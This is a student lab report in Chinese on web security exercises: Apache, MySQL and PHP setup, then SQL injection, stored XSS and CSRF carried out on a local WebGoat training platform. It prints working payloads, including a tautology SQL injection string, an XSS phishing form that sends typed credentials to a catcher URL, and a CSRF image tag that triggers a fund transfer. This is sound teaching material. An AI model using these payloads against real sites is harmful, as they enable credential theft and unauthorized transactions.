20192429马一 2021-2022-2 《网络与系统攻防》 实验八 Web安全
一、实验要求
- Web前端HTML
- 能正常安装、启停Apache。理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTML
- Web前端javascipt
- 理解JavaScript的基本功能,理解DOM。
- 在1的基础上,编写JavaScript验证用户名、密码的规则。在用户点击登陆按钮后回显“欢迎+输入的用户名”尝试注入攻击:利用回显用户名注入HTML及JavaScript。
- Web后端:MySQL基础:正常安装、启动MySQL,建库、创建用户、修改密码、建表
- Web后端:编写PHP网页,连接数据库,进行用户认证
- 最简单的SQL注入,XSS攻击测试
- 安装Webgoat或类似平台,并完成SQL注入、XSS、CSRF攻击。
二、实验过程
2.1 Web前端HTML
- 能正常安装、启停Apache。理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTML。
- 在浏览器中输入http://127.0.0.1/my_login.html即可打开网站
2.2 Web前端javascript
2.3 Web后端:Mysql基础
- 正常安装、启动MySQL,建库、创建用户、修改密码、建表
- 在kali中,如果直接调用mysql失败的话,可以查看这篇博客对kali进行配置。同样的,在进行对mysql初始化的时候,对root用户修改密码。
- 启用了mysql服务后,mysql命令进入命令行界面
- 使用mysql -u root -p命令登录,输入我们修改好的密码
- 输入create database +数据库名称创建数据库
- 创建好的数据库可以使用 show databases查看现有的所有数据库
- 使用use + 数据库名称进入我们创建好的数据库
- 输入建表命令,向新建的表单中插入数据,并且要指明数据类型
- 输入 grant select,insert,update,delete on 20192429mayi. to'mayi'@'localhost' identified by 'mayi'* 新建一个登录用户,包含所有权限,然后再输入flush priveleges 更新权限表
- 使用新用户登录
2.4 Web后端
2.5 最简单的SQL注入,XSS攻击测试
2.5.1 SQL注入
-
SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。
-
这是因为,输入的用户名和我们代码中的select语句组合起来变成了 select * from users where username='' or 1=1#' and password='' ,#相当于注释符,把后面的语句都注释掉了,而 1= 1是永真式,所以可以成功。
2.5.2 XSS攻击
- 跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆。故将跨站脚本攻击缩写为XSS。XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。比如这些代码包括HTML代码和客户端脚本。攻击者利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy)。这种类型的漏洞由于被骇客用来编写危害性更大的phishing攻击而变得广为人知。
- 将一张照片放在 /var/www/html目录下,用户名输入
2.6 安装Webgoat或类似平台,并完成SQL注入、XSS、CSRF攻击
2.6.1 安装Webgoat平台
sudo mkdir -p /usr/local/java
sudo cp jdk-8u333-linux-x64.tar.gz /usr/local/java
cd /usr/local/java
sudo tar xzvf jdk-8u333-linux-x64.tar.gz
-
重新载入profile
-
在这里下载webgoat-container-7.0.1-war-exec.jar
-
在java目录下,输入java -jar webgoat-container-7.0.1-war-exec.jar启动webgoat
-
打开浏览器,输入http://localhost:8080/WebGoat进入登录界面,使用默认的用户名和密码登录即可
2.6.2 SQL注入攻击
-
左侧功能栏选中Injection Flaws—>Command Injection,右键点击页面,选择inspect Element审查网页元素对源代码进行修改
-
左侧功能栏选中Injection Flaws—>Numeric SQL Injection,未进行攻击前,若选中New York然后点击Go,就会显示New York的天气情况:
-
系统执行了 SELECT * FROM weather_data WHERE station = 101 or 1=1 ,显示了所有城市的天气。
2.6.3 存储型XSS攻击:Stored XSS Attacks
- 在title中输入任意字符,在留言板中输入
<head>
<body>
<div>
<div style="float:left;height:100px;width:50%;background-color:green;"></div>
<div style="float:left;height:100px;width:50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>
</div></div>
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>
- 点击submit提交,下方“Message List”中会新增刚输入的Tile名字的链接,点击链接可以看到我们的html已经注入成功,messege部分显示的是绿、红、蓝三色框
- 提交输入的用户名密码后,就会得到相应的值
2.6.4 跨站请求伪造:Cross Site Request Forgery (CSRF)
- 查看页面右侧Parameters中的src和menu值,分别为276和900
- 在title中输入随意参数,message中输入
<img src="http://localhost:8080/WebGoat/attack?Screen=276&menu=900&transferFunds=5000" width="1" height="1" />
三、问题以及解决方案
3.1 在mysql语法书写时,代码后回车会换行不会执行
- 记得在命令后键入 “;” 代表已经输入结束
四、实验感受
- 作为本门课程的最后一次实验,相对来说比较顺利,中途并没有出现太多插曲,主要是在代码书写的过程中,我对java代码的不熟练造成了卡脖子的难题,我日后要加强对java语言的学习。本次实验学习了SQL注入攻击、XSS攻击、CSRF攻击。
- SQL注入是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
- XSS攻击就是攻击者往Web页面里插入恶意html标签或者javascript代码,当用户浏览该页或者进行某些操作时,攻击者利用用户对原网站的信任,诱骗用户或浏览器执行一些不安全的操作或者向其它网站提交用户的私密信息。
- CSRF就是冒名登录。跨站请求伪造的核心本质是窃取用户的Session,或者说Cookie,因为目前主流情况> Session都是存在Cookie中.攻击者并不关心被害者具体帐号和密码,因为一旦用户进行了登录,Session就是用户的唯一凭证,只要攻击者能够得到Session,就可以伪装成被害者进入服务器。